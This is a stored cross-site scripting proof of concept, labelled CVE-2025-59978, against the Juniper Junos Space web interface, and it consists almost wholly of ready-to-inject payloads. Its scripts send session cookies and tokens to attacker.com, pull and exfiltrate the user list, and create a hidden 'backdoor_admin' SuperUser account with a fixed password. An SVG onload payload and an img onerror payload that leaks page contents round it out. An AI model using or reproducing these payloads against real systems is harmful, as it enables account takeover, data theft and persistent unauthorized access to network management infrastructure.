CVE-2025-59978

<!-- Stored XSS PoC for CVE-2025-59978 - Juniper Junos Space --> <!-- Inject the following payload into any user-input field that gets displayed back in the web interface (e.g., device description, comments, organization name, etc.) --> <script> // Step 1: Exfiltrate session cookies or tokens to attacker-controlled server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&session=' + encodeURIComponent(localStorage.getItem('sessionToken')); </script> <!-- Alternative payload using fetch API for more sophisticated attacks --> <script> fetch('/api/space/user-management/users', { method: 'GET', credentials: 'include' }) .then(response => response.json()) .then(data => { // Exfiltrate user list to attacker fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} }); }); // Create a new admin user for persistent access fetch('/api/space/user-management/users', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'backdoor_admin', password: 'P@ssw0rd!2025', role: 'SuperUser', email: '[email protected]' }) }); </script> <!-- SVG-based XSS payload (may bypass some input filters) --> <svg/onload=alert(document.domain)> <!-- Event handler based payload --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.body.innerHTML))">

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